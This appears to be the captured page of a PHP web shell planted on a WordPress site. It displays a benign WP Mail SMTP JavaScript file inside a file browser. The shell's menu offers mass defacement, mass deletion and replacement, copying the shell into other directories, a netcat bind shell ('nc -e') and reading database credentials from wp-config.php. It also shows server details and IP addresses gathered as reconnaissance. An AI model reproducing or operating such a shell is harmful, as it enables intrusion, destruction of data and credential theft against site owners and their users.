WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / assets / js / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/assets/js/smtp-activelayer-wc.js (4.04 KB)
/* global wp_mail_smtp_activelayer_wc */

'use strict';

( function( $ ) {

	const l10n = wp_mail_smtp_activelayer_wc;

	const WPMailSMTPActiveLayerWC = {

		/**
		 * Bind the section controls.
		 *
		 * @since 4.9.0
		 */
		init: function() {

			$( document )
				.on( 'click', '.wp-mail-smtp-activelayer-button', WPMailSMTPActiveLayerWC.onClick )
				.on( 'click', '.wp-mail-smtp-activelayer-wc-dismiss', WPMailSMTPActiveLayerWC.onDismiss );
		},

		/**
		 * Handle a click on the section button based on its data-action.
		 *
		 * @since 4.9.0
		 *
		 * @param {Event} e Click event.
		 */
		onClick: function( e ) {

			e.preventDefault();

			const $btn   = $( this ),
				action = $btn.attr( 'data-action' );

			if ( $btn.hasClass( 'disabled' ) ) {
				return;
			}

			if ( action === 'goto-url' ) {
				window.open( $btn.attr( 'data-url' ), '_blank', 'noopener' );
				return;
			}

			if ( action === 'goto-settings' ) {
				window.location.href = $btn.attr( 'data-url' );
				return;
			}

			if ( action === 'install' ) {
				WPMailSMTPActiveLayerWC.run( $btn, 'about_plugin_install', l10n.download_url, l10n.installing );
			} else if ( action === 'activate' ) {
				WPMailSMTPActiveLayerWC.run( $btn, 'about_plugin_activate', l10n.plugin, l10n.activating );
			}
		},

		/**
		 * Run an install or activate task through the shared plugin dispatcher.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery} $btn           The section button.
		 * @param {string} task           The dispatcher task name.
		 * @param {string} plugin         The download URL (install) or basename (activate).
		 * @param {string} processingText Button text while the request runs.
		 */
		run: function( $btn, task, plugin, processingText ) {

			$btn.addClass( 'disabled' ).text( processingText );

			$.post(
				l10n.ajax_url,
				{
					action: 'wp_mail_smtp_ajax',
					task: task,
					plugin: plugin,
					nonce: l10n.nonce
				}
			)
				.done( function( res ) {

					if ( task === 'about_plugin_install' ) {

						if ( res && res.success && res.data && res.data.is_activated ) {
							WPMailSMTPActiveLayerWC.toSettings( $btn );
							return;
						}

						// Installed but not auto-activated: try activating.
						if ( res && res.success ) {
							WPMailSMTPActiveLayerWC.run( $btn, 'about_plugin_activate', l10n.plugin, l10n.activating );
							return;
						}

						WPMailSMTPActiveLayerWC.fail( $btn, task );
						return;
					}

					if ( res && res.success ) {
						WPMailSMTPActiveLayerWC.toSettings( $btn );
						return;
					}

					WPMailSMTPActiveLayerWC.fail( $btn, task );
				} )
				.fail( function() {

					WPMailSMTPActiveLayerWC.fail( $btn, task );
				} );
		},

		/**
		 * Turn the button into the "Connect Your Free Account" CTA.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery} $btn The section button.
		 */
		toSettings: function( $btn ) {

			$btn
				.removeClass( 'disabled' )
				.attr( 'data-action', 'goto-settings' )
				.attr( 'data-url', l10n.settings_url )
				.text( l10n.goto_settings );
		},

		/**
		 * Show an inline error and fall back to the WordPress.org link.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery} $btn The section button.
		 * @param {string} task The dispatcher task that failed.
		 */
		fail: function( $btn, task ) {

			const msg = task === 'about_plugin_install' ? l10n.error_install : l10n.error_activate;

			$btn
				.removeClass( 'disabled' )
				.attr( 'data-action', 'goto-url' )
				.attr( 'data-url', l10n.wporg_url )
				.text( l10n.get_activelayer );

			if ( ! $btn.siblings( '.wp-mail-smtp-activelayer-error' ).length ) {
				$btn.after( '<p class="wp-mail-smtp-activelayer-error">' + msg + '</p>' );
			}
		},

		/**
		 * Dismiss the section for the current user.
		 *
		 * @since 4.9.0
		 */
		onDismiss: function() {

			$.post(
				l10n.ajax_url,
				{
					action: 'wp_mail_smtp_activelayer_wc_dismiss',
					nonce: l10n.nonce
				}
			);

			// Remove optimistically; persistence failures only resurface the section on reload.
			$( this ).closest( '.wpms-activelayer-wc' ).remove();
		}
	};

	$( WPMailSMTPActiveLayerWC.init );

}( jQuery ) );
namawaktuukuranownerpermaksi
..
vendor/ 2026-07-21 14:14319.87 KB 76129f60960:kundendxwrx-r--r
connect.js 2026-07-21 14:143.62 KB 76129f60960:kunden-xw-x-----
edt
connect.min.js 2026-07-21 14:141.93 KB 76129f60960:kunden-xw-x-----
edt
smtp-about.js 2026-07-21 14:144.81 KB 76129f60960:kunden-xw-x-----
edt
smtp-about.min.js 2026-07-21 14:142.4 KB 76129f60960:kunden-xw-x-----
edt
smtp-activelayer-wc.js 2026-07-21 14:144.04 KB 76129f60960:kunden-xw-x-----
edt
smtp-activelayer-wc.min.js 2026-07-21 14:141.56 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin-notices.js 2026-07-21 14:142.1 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin-notices.min.js 2026-07-21 14:141 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin.js 2026-07-21 14:1442.76 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin.min.js 2026-07-21 14:1421.26 KB 76129f60960:kunden-xw-x-----
edt
smtp-ai-mcp.js 2026-07-21 14:144.32 KB 76129f60960:kunden-xw-x-----
edt
smtp-ai-mcp.min.js 2026-07-21 14:141.57 KB 76129f60960:kunden-xw-x-----
edt
smtp-code-snippets.js 2026-07-21 14:1419.52 KB 76129f60960:kunden-xw-x-----
edt
smtp-code-snippets.min.js 2026-07-21 14:147.46 KB 76129f60960:kunden-xw-x-----
edt
smtp-dashboard-widget.js 2026-07-21 14:146.58 KB 76129f60960:kunden-xw-x-----
edt
smtp-dashboard-widget.min.js 2026-07-21 14:143.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-notifications.js 2026-07-21 14:143.68 KB 76129f60960:kunden-xw-x-----
edt
smtp-notifications.min.js 2026-07-21 14:141.88 KB 76129f60960:kunden-xw-x-----
edt
smtp-recommendations.js 2026-07-21 14:147.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-recommendations.min.js 2026-07-21 14:143.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-tools-debug-events.js 2026-07-21 14:148.18 KB 76129f60960:kunden-xw-x-----
edt
smtp-tools-debug-events.min.js 2026-07-21 14:144.06 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/assets/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK